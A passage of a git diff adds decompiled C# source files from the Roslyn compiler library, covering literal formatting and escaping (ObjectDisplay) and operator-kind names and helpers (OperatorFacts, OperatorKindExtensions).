node.WhenTrueLabel, out value) ? value.Item1 : UnreachableState()); + (LocalState, bool) value2; + LocalState whenFalse = (((Dictionary)(object)obj).TryGetValue(node.IsNegated ? node.WhenTrueLabel : node.WhenFalseLabel, out value2) ? value2.Item1 : UnreachableState()); + obj.Free(); + SetConditionalState(whenTrue, whenFalse); + SetNotNullResult(node); + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ObjectDisplay.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ObjectDisplay.cs new file mode 100644 index 0000000..b12b4a4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/ObjectDisplay.cs @@ -0,0 +1,468 @@ +using System; +using System.Globalization; +using System.Reflection; +using System.Text; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class ObjectDisplay +{ + internal static string NullLiteral => "null"; + + public static string FormatPrimitive(object obj, ObjectDisplayOptions options) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_00b8: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00f8: Unknown result type (might be due to invalid IL or missing references) + //IL_0118: Unknown result type (might be due to invalid IL or missing references) + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_0158: Unknown result type (might be due to invalid IL or missing references) + //IL_0178: Unknown result type (might be due to invalid IL or missing references) + //IL_0198: Unknown result type (might be due to invalid IL or missing references) + //IL_01b8: Unknown result type (might be due to invalid IL or missing references) + //IL_01d8: Unknown result type (might be due to invalid IL or missing references) + if (obj == null) + { + return NullLiteral; + } + Type type = obj.GetType(); + if (type.GetTypeInfo().IsEnum) + { + type = Enum.GetUnderlyingType(type); + } + if (type == typeof(int)) + { + return FormatLiteral((int)obj, options); + } + if (type == typeof(string)) + { + return FormatLiteral((string)obj, options); + } + if (type == typeof(bool)) + { + return FormatLiteral((bool)obj); + } + if (type == typeof(char)) + { + return FormatLiteral((char)obj, options); + } + if (type == typeof(byte)) + { + return FormatLiteral((byte)obj, options); + } + if (type == typeof(short)) + { + return FormatLiteral((short)obj, options); + } + if (type == typeof(long)) + { + return FormatLiteral((long)obj, options); + } + if (type == typeof(double)) + { + return FormatLiteral((double)obj, options); + } + if (type == typeof(ulong)) + { + return FormatLiteral((ulong)obj, options); + } + if (type == typeof(uint)) + { + return FormatLiteral((uint)obj, options); + } + if (type == typeof(ushort)) + { + return FormatLiteral((ushort)obj, options); + } + if (type == typeof(sbyte)) + { + return FormatLiteral((sbyte)obj, options); + } + if (type == typeof(float)) + { + return FormatLiteral((float)obj, options); + } + if (type == typeof(decimal)) + { + return FormatLiteral((decimal)obj, options); + } + return null; + } + + internal static string FormatLiteral(bool value) + { + if (!value) + { + return "false"; + } + return "true"; + } + + private static bool TryReplaceChar(char c, out string replaceWith) + { + replaceWith = null; + switch (c) + { + case '\\': + replaceWith = "\\\\"; + break; + case '\0': + replaceWith = "\\0"; + break; + case '\a': + replaceWith = "\\a"; + break; + case '\b': + replaceWith = "\\b"; + break; + case '\f': + replaceWith = "\\f"; + break; + case '\n': + replaceWith = "\\n"; + break; + case '\r': + replaceWith = "\\r"; + break; + case '\t': + replaceWith = "\\t"; + break; + case '\v': + replaceWith = "\\v"; + break; + } + if (replaceWith != null) + { + return true; + } + if (NeedsEscaping(CharUnicodeInfo.GetUnicodeCategory(c))) + { + int num = c; + replaceWith = "\\u" + num.ToString("x4"); + return true; + } + return false; + } + + private static bool NeedsEscaping(UnicodeCategory category) + { + if ((uint)(category - 12) <= 2u || category == UnicodeCategory.Surrogate || category == UnicodeCategory.OtherNotAssigned) + { + return true; + } + return false; + } + + public static string FormatLiteral(string value, ObjectDisplayOptions options) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + if (value == null) + { + throw new ArgumentNullException("value"); + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + bool flag = ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)8); + bool flag2 = ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)16); + bool flag3 = flag && !flag2 && ContainsNewLine(value); + if (flag) + { + if (flag3) + { + builder.Append('@'); + } + builder.Append('"'); + } + for (int i = 0; i < value.Length; i++) + { + char c = value[i]; + string replaceWith; + if (flag2 && CharUnicodeInfo.GetUnicodeCategory(c) == UnicodeCategory.Surrogate) + { + UnicodeCategory unicodeCategory = CharUnicodeInfo.GetUnicodeCategory(value, i); + if (unicodeCategory == UnicodeCategory.Surrogate) + { + int num = c; + builder.Append("\\u" + num.ToString("x4")); + } + else if (NeedsEscaping(unicodeCategory)) + { + builder.Append("\\U" + char.ConvertToUtf32(value, i).ToString("x8")); + i++; + } + else + { + builder.Append(c); + builder.Append(value[++i]); + } + } + else if (flag2 && TryReplaceChar(c, out replaceWith)) + { + builder.Append(replaceWith); + } + else if (flag && c == '"') + { + if (flag3) + { + builder.Append('"'); + builder.Append('"'); + } + else + { + builder.Append('\\'); + builder.Append('"'); + } + } + else + { + builder.Append(c); + } + } + if (flag) + { + builder.Append('"'); + } + return instance.ToStringAndFree(); + } + + private static bool ContainsNewLine(string s) + { + for (int i = 0; i < s.Length; i++) + { + if (SyntaxFacts.IsNewLine(s[i])) + { + return true; + } + } + return false; + } + + internal static string FormatLiteral(char c, ObjectDisplayOptions options) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)1)) + { + string value; + if (!ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)4)) + { + int num = c; + value = num.ToString(); + } + else + { + int num = c; + value = "0x" + num.ToString("x4"); + } + builder.Append(value); + builder.Append(" "); + } + bool flag = ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)8); + bool flag2 = ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)16); + if (flag) + { + builder.Append('\''); + } + if (flag2 && TryReplaceChar(c, out var replaceWith)) + { + builder.Append(replaceWith); + } + else if (flag && c == '\'') + { + builder.Append('\\'); + builder.Append('\''); + } + else + { + builder.Append(c); + } + if (flag) + { + builder.Append('\''); + } + return instance.ToStringAndFree(); + } + + internal static string FormatLiteral(sbyte value, ObjectDisplayOptions options, CultureInfo cultureInfo = null) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)4)) + { + string text; + if (value < 0) + { + int num = value; + text = num.ToString("x8"); + } + else + { + text = value.ToString("x2"); + } + return "0x" + text; + } + return value.ToString(GetFormatCulture(cultureInfo)); + } + + internal static string FormatLiteral(byte value, ObjectDisplayOptions options, CultureInfo cultureInfo = null) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)4)) + { + return "0x" + value.ToString("x2"); + } + return value.ToString(GetFormatCulture(cultureInfo)); + } + + internal static string FormatLiteral(short value, ObjectDisplayOptions options, CultureInfo cultureInfo = null) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)4)) + { + string text; + if (value < 0) + { + int num = value; + text = num.ToString("x8"); + } + else + { + text = value.ToString("x4"); + } + return "0x" + text; + } + return value.ToString(GetFormatCulture(cultureInfo)); + } + + internal static string FormatLiteral(ushort value, ObjectDisplayOptions options, CultureInfo cultureInfo = null) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)4)) + { + return "0x" + value.ToString("x4"); + } + return value.ToString(GetFormatCulture(cultureInfo)); + } + + internal static string FormatLiteral(int value, ObjectDisplayOptions options, CultureInfo cultureInfo = null) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)4)) + { + return "0x" + value.ToString("x8"); + } + return value.ToString(GetFormatCulture(cultureInfo)); + } + + internal static string FormatLiteral(uint value, ObjectDisplayOptions options, CultureInfo cultureInfo = null) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)4)) + { + builder.Append("0x"); + builder.Append(value.ToString("x8")); + } + else + { + builder.Append(value.ToString(GetFormatCulture(cultureInfo))); + } + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)2)) + { + builder.Append('U'); + } + return instance.ToStringAndFree(); + } + + internal static string FormatLiteral(long value, ObjectDisplayOptions options, CultureInfo cultureInfo = null) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)4)) + { + builder.Append("0x"); + builder.Append(value.ToString("x16")); + } + else + { + builder.Append(value.ToString(GetFormatCulture(cultureInfo))); + } + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)2)) + { + builder.Append('L'); + } + return instance.ToStringAndFree(); + } + + internal static string FormatLiteral(ulong value, ObjectDisplayOptions options, CultureInfo cultureInfo = null) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)4)) + { + builder.Append("0x"); + builder.Append(value.ToString("x16")); + } + else + { + builder.Append(value.ToString(GetFormatCulture(cultureInfo))); + } + if (ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)2)) + { + builder.Append("UL"); + } + return instance.ToStringAndFree(); + } + + internal static string FormatLiteral(double value, ObjectDisplayOptions options, CultureInfo cultureInfo = null) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + string text = value.ToString("R", GetFormatCulture(cultureInfo)); + if (!ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)2)) + { + return text; + } + return text + "D"; + } + + internal static string FormatLiteral(float value, ObjectDisplayOptions options, CultureInfo cultureInfo = null) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + string text = value.ToString("R", GetFormatCulture(cultureInfo)); + if (!ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)2)) + { + return text; + } + return text + "F"; + } + + internal static string FormatLiteral(decimal value, ObjectDisplayOptions options, CultureInfo cultureInfo = null) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + string text = value.ToString(GetFormatCulture(cultureInfo)); + if (!ObjectDisplayExtensions.IncludesOption(options, (ObjectDisplayOptions)2)) + { + return text; + } + return text + "M"; + } + + private static CultureInfo GetFormatCulture(CultureInfo cultureInfo) + { + return cultureInfo ?? CultureInfo.InvariantCulture; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OperatorAnalysisResultKind.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OperatorAnalysisResultKind.cs new file mode 100644 index 0000000..59d54a5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OperatorAnalysisResultKind.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis.CSharp; + +internal enum OperatorAnalysisResultKind : byte +{ + Undefined, + Inapplicable, + Worse, + Applicable +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OperatorFacts.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OperatorFacts.cs new file mode 100644 index 0000000..13f896f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OperatorFacts.cs @@ -0,0 +1,330 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class OperatorFacts +{ + public static bool DefinitelyHasNoUserDefinedOperators(TypeSymbol type) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Invalid comparison between Unknown and I4 + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Expected I4, but got Unknown + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Invalid comparison between Unknown and I4 + TypeKind typeKind = type.TypeKind; + if ((int)typeKind != 2 && (int)typeKind != 7 && typeKind - 10 > 1) + { + return true; + } + SpecialType specialType = type.SpecialType; + switch (specialType - 1) + { + case 20: + if (!type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 21: + if (!type.IsNativeIntegerType) + { + break; + } + goto case 0; + case 0: + case 1: + case 2: + case 3: + case 4: + case 5: + case 6: + case 7: + case 8: + case 9: + case 10: + case 11: + case 12: + case 13: + case 14: + case 15: + case 16: + case 17: + case 18: + case 19: + case 22: + return true; + } + return false; + } + + public static string BinaryOperatorNameFromSyntaxKind(SyntaxKind kind, bool isChecked) + { + object obj = BinaryOperatorNameFromSyntaxKindIfAny(kind, isChecked); + if (obj == null) + { + if (!isChecked) + { + return "op_Addition"; + } + obj = "op_CheckedAddition"; + } + return (string)obj; + } + + internal static string BinaryOperatorNameFromSyntaxKindIfAny(SyntaxKind kind, bool isChecked) + { + switch (kind) + { + case SyntaxKind.PlusToken: + if (!isChecked) + { + return "op_Addition"; + } + return "op_CheckedAddition"; + case SyntaxKind.MinusToken: + if (!isChecked) + { + return "op_Subtraction"; + } + return "op_CheckedSubtraction"; + case SyntaxKind.AsteriskToken: + if (!isChecked) + { + return "op_Multiply"; + } + return "op_CheckedMultiply"; + case SyntaxKind.SlashToken: + if (!isChecked) + { + return "op_Division"; + } + return "op_CheckedDivision"; + case SyntaxKind.PercentToken: + return "op_Modulus"; + case SyntaxKind.CaretToken: + return "op_ExclusiveOr"; + case SyntaxKind.AmpersandToken: + return "op_BitwiseAnd"; + case SyntaxKind.BarToken: + return "op_BitwiseOr"; + case SyntaxKind.EqualsEqualsToken: + return "op_Equality"; + case SyntaxKind.LessThanToken: + return "op_LessThan"; + case SyntaxKind.LessThanEqualsToken: + return "op_LessThanOrEqual"; + case SyntaxKind.LessThanLessThanToken: + return "op_LeftShift"; + case SyntaxKind.GreaterThanToken: + return "op_GreaterThan"; + case SyntaxKind.GreaterThanEqualsToken: + return "op_GreaterThanOrEqual"; + case SyntaxKind.GreaterThanGreaterThanToken: + return "op_RightShift"; + case SyntaxKind.GreaterThanGreaterThanGreaterThanToken: + return "op_UnsignedRightShift"; + case SyntaxKind.ExclamationEqualsToken: + return "op_Inequality"; + default: + return null; + } + } + + public static string UnaryOperatorNameFromSyntaxKind(SyntaxKind kind, bool isChecked) + { + return UnaryOperatorNameFromSyntaxKindIfAny(kind, isChecked) ?? "op_UnaryPlus"; + } + + internal static string UnaryOperatorNameFromSyntaxKindIfAny(SyntaxKind kind, bool isChecked) + { + switch (kind) + { + case SyntaxKind.PlusToken: + return "op_UnaryPlus"; + case SyntaxKind.MinusToken: + if (!isChecked) + { + return "op_UnaryNegation"; + } + return "op_CheckedUnaryNegation"; + case SyntaxKind.TildeToken: + return "op_OnesComplement"; + case SyntaxKind.ExclamationToken: + return "op_LogicalNot"; + case SyntaxKind.PlusPlusToken: + if (!isChecked) + { + return "op_Increment"; + } + return "op_CheckedIncrement"; + case SyntaxKind.MinusMinusToken: + if (!isChecked) + { + return "op_Decrement"; + } + return "op_CheckedDecrement"; + case SyntaxKind.TrueKeyword: + return "op_True"; + case SyntaxKind.FalseKeyword: + return "op_False"; + default: + return null; + } + } + + public static string OperatorNameFromDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.OperatorDeclarationSyntax declaration) + { + return OperatorNameFromDeclaration((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OperatorDeclarationSyntax)(object)((SyntaxNode)declaration).Green); + } + + public static string OperatorNameFromDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.OperatorDeclarationSyntax declaration) + { + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind kind = declaration.OperatorToken.Kind; + SyntaxToken? checkedKeyword = declaration.CheckedKeyword; + bool isChecked = checkedKeyword != null && checkedKeyword.Kind == SyntaxKind.CheckedKeyword; + if (SyntaxFacts.IsBinaryExpressionOperatorToken(kind)) + { + if (kind != SyntaxKind.AsteriskToken && SyntaxFacts.IsPrefixUnaryExpressionOperatorToken(kind) && declaration.ParameterList.Parameters.Count == 1) + { + return UnaryOperatorNameFromSyntaxKind(kind, isChecked); + } + return BinaryOperatorNameFromSyntaxKind(kind, isChecked); + } + if (SyntaxFacts.IsUnaryOperatorDeclarationToken(kind)) + { + return UnaryOperatorNameFromSyntaxKind(kind, isChecked); + } + return "op_UnaryPlus"; + } + + public static string OperatorNameFromDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.ConversionOperatorDeclarationSyntax declaration) + { + return OperatorNameFromDeclaration((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConversionOperatorDeclarationSyntax)(object)((SyntaxNode)declaration).Green); + } + + public static string OperatorNameFromDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.ConversionOperatorDeclarationSyntax declaration) + { + if (declaration.ImplicitOrExplicitKeyword.Kind == SyntaxKind.ImplicitKeyword) + { + return "op_Implicit"; + } + SyntaxToken? checkedKeyword = declaration.CheckedKeyword; + if (checkedKeyword == null || checkedKeyword.Kind != SyntaxKind.CheckedKeyword) + { + return "op_Explicit"; + } + return "op_CheckedExplicit"; + } + + public static string UnaryOperatorNameFromOperatorKind(UnaryOperatorKind kind, bool isChecked) + { + switch (kind & UnaryOperatorKind.OpMask) + { + case UnaryOperatorKind.UnaryPlus: + return "op_UnaryPlus"; + case UnaryOperatorKind.UnaryMinus: + if (!isChecked) + { + return "op_UnaryNegation"; + } + return "op_CheckedUnaryNegation"; + case UnaryOperatorKind.BitwiseComplement: + return "op_OnesComplement"; + case UnaryOperatorKind.LogicalNegation: + return "op_LogicalNot"; + case UnaryOperatorKind.PostfixIncrement: + case UnaryOperatorKind.PrefixIncrement: + if (!isChecked) + { + return "op_Increment"; + } + return "op_CheckedIncrement"; + case UnaryOperatorKind.PostfixDecrement: + case UnaryOperatorKind.PrefixDecrement: + if (!isChecked) + { + return "op_Decrement"; + } + return "op_CheckedDecrement"; + case UnaryOperatorKind.True: + return "op_True"; + case UnaryOperatorKind.False: + return "op_False"; + default: + throw ExceptionUtilities.UnexpectedValue((object)(kind & UnaryOperatorKind.OpMask)); + } + } + + public static string BinaryOperatorNameFromOperatorKind(BinaryOperatorKind kind, bool isChecked) + { + switch (kind & BinaryOperatorKind.OpMask) + { + case BinaryOperatorKind.Addition: + if (!isChecked) + { + return "op_Addition"; + } + return "op_CheckedAddition"; + case BinaryOperatorKind.And: + return "op_BitwiseAnd"; + case BinaryOperatorKind.Division: + if (!isChecked) + { + return "op_Division"; + } + return "op_CheckedDivision"; + case BinaryOperatorKind.Equal: + return "op_Equality"; + case BinaryOperatorKind.GreaterThan: + return "op_GreaterThan"; + case BinaryOperatorKind.GreaterThanOrEqual: + return "op_GreaterThanOrEqual"; + case BinaryOperatorKind.LeftShift: + return "op_LeftShift"; + case BinaryOperatorKind.LessThan: + return "op_LessThan"; + case BinaryOperatorKind.LessThanOrEqual: + return "op_LessThanOrEqual"; + case BinaryOperatorKind.Multiplication: + if (!isChecked) + { + return "op_Multiply"; + } + return "op_CheckedMultiply"; + case BinaryOperatorKind.Or: + return "op_BitwiseOr"; + case BinaryOperatorKind.NotEqual: + return "op_Inequality"; + case BinaryOperatorKind.Remainder: + return "op_Modulus"; + case BinaryOperatorKind.RightShift: + return "op_RightShift"; + case BinaryOperatorKind.UnsignedRightShift: + return "op_UnsignedRightShift"; + case BinaryOperatorKind.Subtraction: + if (!isChecked) + { + return "op_Subtraction"; + } + return "op_CheckedSubtraction"; + case BinaryOperatorKind.Xor: + return "op_ExclusiveOr"; + default: + throw ExceptionUtilities.UnexpectedValue((object)(kind & BinaryOperatorKind.OpMask)); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OperatorKindExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OperatorKindExtensions.cs new file mode 100644 index 0000000..c83dc0e --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/OperatorKindExtensions.cs @@ -0,0 +1,407 @@ +using System.Collections.Immutable; +using System.Linq.Expressions; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal static class OperatorKindExtensions +{ + public static int OperatorIndex(this UnaryOperatorKind kind) + { + return ((int)kind.Operator() >> 8) - 16; + } + + public static UnaryOperatorKind Operator(this UnaryOperatorKind kind) + { + return kind & UnaryOperatorKind.OpMask; + } + + public static UnaryOperatorKind Unlifted(this UnaryOperatorKind kind) + { + return kind & ~UnaryOperatorKind.Lifted; + } + + public static bool IsLifted(this UnaryOperatorKind kind) + { + return (kind & UnaryOperatorKind.Lifted) != 0; + } + + public static bool IsChecked(this UnaryOperatorKind kind) + { + return (kind & UnaryOperatorKind.Checked) != 0; + } + + public static bool IsUserDefined(this UnaryOperatorKind kind) + { + return (kind & UnaryOperatorKind.TypeMask) == UnaryOperatorKind.UserDefined; + } + + public static UnaryOperatorKind OverflowChecks(this UnaryOperatorKind kind) + { + return kind & UnaryOperatorKind.Checked; + } + + public static UnaryOperatorKind WithOverflowChecksIfApplicable(this UnaryOperatorKind kind, bool enabled) + { + if (enabled) + { + if (kind.IsDynamic()) + { + return kind | UnaryOperatorKind.Checked; + } + if (kind.IsIntegral()) + { + switch (kind.Operator()) + { + case UnaryOperatorKind.PostfixIncrement: + case UnaryOperatorKind.PostfixDecrement: + case UnaryOperatorKind.PrefixIncrement: + case UnaryOperatorKind.PrefixDecrement: + case UnaryOperatorKind.UnaryMinus: + return kind | UnaryOperatorKind.Checked; + } + } + return kind; + } + return kind & ~UnaryOperatorKind.Checked; + } + + public static UnaryOperatorKind OperandTypes(this UnaryOperatorKind kind) + { + return kind & UnaryOperatorKind.TypeMask; + } + + public static bool IsDynamic(this UnaryOperatorKind kind) + { + return kind.OperandTypes() == UnaryOperatorKind.Dynamic; + } + + public static bool IsIntegral(this UnaryOperatorKind kind) + { + switch (kind.OperandTypes()) + { + case UnaryOperatorKind.SByte: + case UnaryOperatorKind.Byte: + case UnaryOperatorKind.Short: + case UnaryOperatorKind.UShort: + case UnaryOperatorKind.Int: + case UnaryOperatorKind.UInt: + case UnaryOperatorKind.Long: + case UnaryOperatorKind.ULong: + case UnaryOperatorKind.NInt: + case UnaryOperatorKind.NUInt: + case UnaryOperatorKind.Char: + case UnaryOperatorKind.Enum: + case UnaryOperatorKind.Pointer: + return true; + default: + return false; + } + } + + public static UnaryOperatorKind WithType(this UnaryOperatorKind kind, UnaryOperatorKind type) + { + return kind | type; + } + + public static int OperatorIndex(this BinaryOperatorKind kind) + { + return ((int)kind.Operator() >> 8) - 16; + } + + public static BinaryOperatorKind Operator(this BinaryOperatorKind kind) + { + return kind & BinaryOperatorKind.OpMask; + } + + public static BinaryOperatorKind Unlifted(this BinaryOperatorKind kind) + { + return kind & ~BinaryOperatorKind.Lifted; + } + + public static BinaryOperatorKind OperatorWithLogical(this BinaryOperatorKind kind) + { + return kind & (BinaryOperatorKind.OpMask | BinaryOperatorKind.Logical); + } + + public static BinaryOperatorKind WithType(this BinaryOperatorKind kind, SpecialType type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Expected I4, but got Unknown + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return (type - 13) switch + { + 0 => kind | BinaryOperatorKind.Int, + 1 => kind | BinaryOperatorKind.UInt, + 2 => kind | BinaryOperatorKind.Long, + 3 => kind | BinaryOperatorKind.ULong, + _ => throw ExceptionUtilities.UnexpectedValue((object)type), + }; + } + + public static UnaryOperatorKind WithType(this UnaryOperatorKind kind, SpecialType type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Expected I4, but got Unknown + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + return (type - 13) switch + { + 0 => kind | UnaryOperatorKind.Int, + 1 => kind | UnaryOperatorKind.UInt, + 2 => kind | UnaryOperatorKind.Long, + 3 => kind | UnaryOperatorKind.ULong, + _ => throw ExceptionUtilities.UnexpectedValue((object)type), + }; + } + + public static BinaryOperatorKind WithType(this BinaryOperatorKind kind, BinaryOperatorKind type) + { + return kind | type; + } + + public static bool IsLifted(this BinaryOperatorKind kind) + { + return (kind & BinaryOperatorKind.Lifted) != 0; + } + + public static bool IsDynamic(this BinaryOperatorKind kind) + { + return kind.OperandTypes() == BinaryOperatorKind.Dynamic; + } + + public static bool IsComparison(this BinaryOperatorKind kind) + { + switch (kind.Operator()) + { + case BinaryOperatorKind.Equal: + case BinaryOperatorKind.NotEqual: + case BinaryOperatorKind.GreaterThan: + case BinaryOperatorKind.LessThan: + case BinaryOperatorKind.GreaterThanOrEqual: + case BinaryOperatorKind.LessThanOrEqual: + return true; + default: + return false; + } + } + + public static bool IsChecked(this BinaryOperatorKind kind) + { + return (kind & BinaryOperatorKind.Checked) != 0; + } + + public static bool EmitsAsCheckedInstruction(this BinaryOperatorKind kind) + { + if (!kind.IsChecked()) + { + return false; + } + BinaryOperatorKind binaryOperatorKind = kind.Operator(); + if (binaryOperatorKind == BinaryOperatorKind.Multiplication || binaryOperatorKind == BinaryOperatorKind.Addition || binaryOperatorKind == BinaryOperatorKind.Subtraction) + { + return true; + } + return false; + } + + public static BinaryOperatorKind WithOverflowChecksIfApplicable(this BinaryOperatorKind kind, bool enabled) + { + if (enabled) + { + if (kind.IsDynamic()) + { + return kind | BinaryOperatorKind.Checked; + } + if (kind.IsIntegral()) + { + switch (kind.Operator()) + { + case BinaryOperatorKind.Multiplication: + case BinaryOperatorKind.Addition: + case BinaryOperatorKind.Subtraction: + case BinaryOperatorKind.Division: + return kind | BinaryOperatorKind.Checked; + } + } + return kind; + } + return kind & ~BinaryOperatorKind.Checked; + } + + public static bool IsEnum(this BinaryOperatorKind kind) + { + BinaryOperatorKind binaryOperatorKind = kind.OperandTypes(); + if ((uint)(binaryOperatorKind - 20) <= 2u) + { + return true; + } + return false; + } + + public static bool IsEnum(this UnaryOperatorKind kind) + { + return kind.OperandTypes() == UnaryOperatorKind.Enum; + } + + public static bool IsIntegral(this BinaryOperatorKind kind) + { + switch (kind.OperandTypes()) + { + case BinaryOperatorKind.Int: + case BinaryOperatorKind.UInt: + case BinaryOperatorKind.Long: + case BinaryOperatorKind.ULong: + case BinaryOperatorKind.NInt: + case BinaryOperatorKind.NUInt: + case BinaryOperatorKind.Char: + case BinaryOperatorKind.Enum: + case BinaryOperatorKind.EnumAndUnderlying: + case BinaryOperatorKind.UnderlyingAndEnum: + case BinaryOperatorKind.Pointer: + case BinaryOperatorKind.PointerAndInt: + case BinaryOperatorKind.PointerAndUInt: + case BinaryOperatorKind.PointerAndLong: + case BinaryOperatorKind.PointerAndULong: + case BinaryOperatorKind.IntAndPointer: + case BinaryOperatorKind.UIntAndPointer: + case BinaryOperatorKind.LongAndPointer: + case BinaryOperatorKind.ULongAndPointer: + return true; + default: + return false; + } + } + + public static bool IsLogical(this BinaryOperatorKind kind) + { + return (kind & BinaryOperatorKind.Logical) != 0; + } + + public static BinaryOperatorKind OperandTypes(this BinaryOperatorKind kind) + { + return kind & BinaryOperatorKind.TypeMask; + } + + public static bool IsUserDefined(this BinaryOperatorKind kind) + { + return (kind & BinaryOperatorKind.TypeMask) == BinaryOperatorKind.UserDefined; + } + + public static bool IsShift(this BinaryOperatorKind kind) + { + BinaryOperatorKind binaryOperatorKind = kind.Operator(); + if (binaryOperatorKind != BinaryOperatorKind.LeftShift && binaryOperatorKind != 